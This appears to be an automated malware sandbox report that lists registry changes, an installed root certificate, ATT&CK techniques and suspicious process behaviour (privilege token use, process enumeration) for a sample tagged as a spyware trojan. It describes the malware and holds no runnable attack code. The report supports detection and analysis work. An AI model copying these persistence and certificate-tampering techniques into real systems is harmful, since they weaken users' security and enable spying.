Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "3468"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000ddf700222d6b91c3270d6e9706331e9db59d6bc7b1c9d918b2013cecae25ff30c45528a476f1c4cb759a56c1f64a74e66cf162773be3e7d63e4caad8812c	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{WW6060MI-ED3Y-MI7M-57W2-EJZ5M77G1X0K}\1 = "2540"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164C = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 301bd569d72dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\FirstRecoveryTime = 301bd569d72dd701	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "{ECBCB7A8-F219-4992-8FF0-8C3D57EEA362}"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 7fc851a4647dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3aec56ba647dd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA\Certificates\83DA05A9886F7658BE = 03000000010000001400000083da05a9886f7658be73acf0a4930c0f99b92f011400000001000000140000003656896549cb5b9b2f3cac4216504d91b933d79104000000010000001000000062455357dd57cb80c32ab295743cccc00f00000001000000200000006811c6215f18c75fdbe32cf56bd66248562a7fa3ba459cfee338745061e583941900000001000000100000002d581a49c8eb5b3b3c6ef9bb65314d705c000000010000000400000000100000180000000100000010000000bb048f1838395f6fc3a1f3d2b7e976542000000001000000dc060000308206d8308204c0a003020102020a613fb718000000000004300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131313031383232353531395a170d3236313031383233303531395a307e310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f66742053656375726520536572766572204341203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100d00bc0a4a81981e236e5e2aae5f3b2155875beb4e549f1e084f9bb0d64ef85c18155b8f3e7f16d40553dce8b6ad18493f5757c5ba4d47410ca32f323d3aeeecf9e0458c2d947cbd17c004148711b01671718afc6fe73037ee4ef439cef01712a1f81264377985457739d552bf09e8e7d060eac1b54f326f7f82308228b9e061d3738fd72d2cae563c19a5a7db26db352a96ee9aeb5fc8b36f99efaf61c581b9756a511e5b752dbbbe9f054bfb4ff2c6cb85d26cea00ad7df93ed7fddacf12c731ad9193755badd22788ea1d49b09f807223171b094aee0b0e726445790819715ce61ec65e24bf185521632f8b578aa7ecd4dec8321a4a89bbe9a6a04e0a31ccd56186cfd6b2f423ee237f272abd07873727bdeec0058e52130a3083a99ef9fc3f77a169665b5c381aff4397049aff6a9f66a0038f9b40819e01a35a55676225f6af269ae3ead58464db854f68941441e72b1bc122753d2c1ffb2cd50981eb5f4bbb6c28239d9ac1bf23b27846ab0c6260bd73a10e7b3db7cd356ac534c0bfa3b313774d8592bf9007919067bfd1c1d42d4410d2f050ed56b4923ffcfcdf87a82cfda3c2ddfe8d8120418ba1e8877b8981f1007bbc8057e0b09bf6bdde34e5bb0f9c784a63bca4c9f5b6229f7c7a2a89588702ce5c13f3c52234f409ac33185832fbf29f11d508f219607ceeff280c2447d9b62ef2fc37789ab454d533e0279d30203010001a382014b30820147301006092b06010401823715010403020100301d0603551d0e041604143656896549cb5b9b2f3cac4216504d91b933d791301906092b0601040182371402040c1e0a00530075006200430041300b0603551d0f040403020186300f0603551d130101ff040530030101ff301f0603551d23041830168014722d3a02319043b914054ee1eaa7c731d1238934305a0603551d1f04533051304fa04da04b8649687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963526f6f436572417574323031315f323031315f30335f32322e63726c305e06082b0601050507010104523050304e06082b060105050730028642687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b692f63657274732f4d6963526f6f436572417574323031315f323031315f30335f32322e637274300d06092a864886f70d01010b0500038202010041c861c1f55b9e3e9131f1b0c6bf0901b49db69074d709dba62e0d9fc8e7763446af0760894c81b33cd5f4123575c273a5f54d848ccba45dafbf92f617085742957265057679adeed1bab82e54a35107ac68eb210ce32581c2cd2af2c3ffcfc2bd49189ac7f084c5f914bc6b95e596efb342d253d54aa012c4ae12765309560e9df7d3a6498850f28a2c9720a2be4e78ef0565b74ba11688de31c70842247ca47b9e9dbc60005e6297e393fca7fe5b7b25dfe4537f4bbee63ef0db0179421c6e856c7db64430fba5379293b2a5ee20ad3f53d5c9f4286b57c1f81d6ab7562ab627811ca62d9fe7f4d0318397a82ab6acbe1b41f5e4895f56fbda5ad35e7d5594107e5357f44a3d402ac8bd679f84e110eefdda6b158249fc461dff4506749c4214edc539d3b3cd0b832790435192f24482ae6e9a1517b219fac7456c98017bbf37a9b088a492bc3838e01de47c97981a2e5fef3865b7352fbd7f4f21fac48cd26f06f94935eadf200f25aaea60ab2c1f4b89fcb7fa5c54904b3ea2284f6ce45265c1fd901c8582886ee9a655dd21287945b014e50acce65fc4bbdb6134699fac2638f7c1294108152e4ca0f7f90c3ede5fab08092d83acac348362f4c949428925b56eb247c5b339a0b1201b2cb18e046fa530491cd046e9405bf4ad6ebadb824a87124a80094ddbdf76b9055b1be0bb20705f0025c7d30efa16ad7b229e7108	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K}\1 = "2302"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Zoom	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000ad842376bd04019b9780998216192dc0852b8b0541609669027eb4d5bef08aea9534a5fa0695ed8fb9effe2aa633b1718203f3977fd24d90984d	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 430d849c647dd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 60f082b5018dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sonia_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sonia_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sonia_3.exe

Runs .reg file with regedit 2 IoCs

Processes:

regedit.exeregedit.exe

pid process

4244 regedit.exe
6036 regedit.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

6068 PING.EXE

pid	process
4244	regedit.exe
6036	regedit.exe

pid	process
6068	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

rundll32.exesvchost.exeWerFault.exe

pid	process
1124	rundll32.exe
1124	rundll32.exe
3700	svchost.exe
3700	svchost.exe
656	WerFault.exe
656	WerFault.exe
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984
2984

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2984
Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

WerFault.exeMicrosoftEdgeCP.exeAcre.exe.comvirbftdvirbftd

pid process

656 WerFault.exe
5748 MicrosoftEdgeCP.exe
5748 MicrosoftEdgeCP.exe
2228 Acre.exe.com
5364 virbftd
5368 virbftd

pid	process
2984

pid	process
656	WerFault.exe
5748	MicrosoftEdgeCP.exe
5748	MicrosoftEdgeCP.exe
2228	Acre.exe.com
5364	virbftd
5368	virbftd

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

sonia_4.exerundll32.exesvchost.exexwy52H8oRj2tiyRZ82wCLSz1.exes9iRRnUnf6DYhpu5oKxjSdhA.exeHBlBxY0jrQdDGxVl43Pjhzjp.exe5sKD9Rb7uUciJrYD2dM424Jf.exeShrbx35UDWNOL2MlCmMMK3Qr.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1452	sonia_4.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	3700	svchost.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeDebugPrivilege	1124	rundll32.exe
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeDebugPrivilege	4948	xwy52H8oRj2tiyRZ82wCLSz1.exe
Token: SeDebugPrivilege	4856	s9iRRnUnf6DYhpu5oKxjSdhA.exe
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeDebugPrivilege	4760	HBlBxY0jrQdDGxVl43Pjhzjp.exe
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeShutdownPrivilege	2984
Token: SeCreatePagefilePrivilege	2984
Token: SeDebugPrivilege	4536	5sKD9Rb7uUciJrYD2dM424Jf.exe
Token: SeDebugPrivilege	4308	Shrbx35UDWNOL2MlCmMMK3Qr.exe
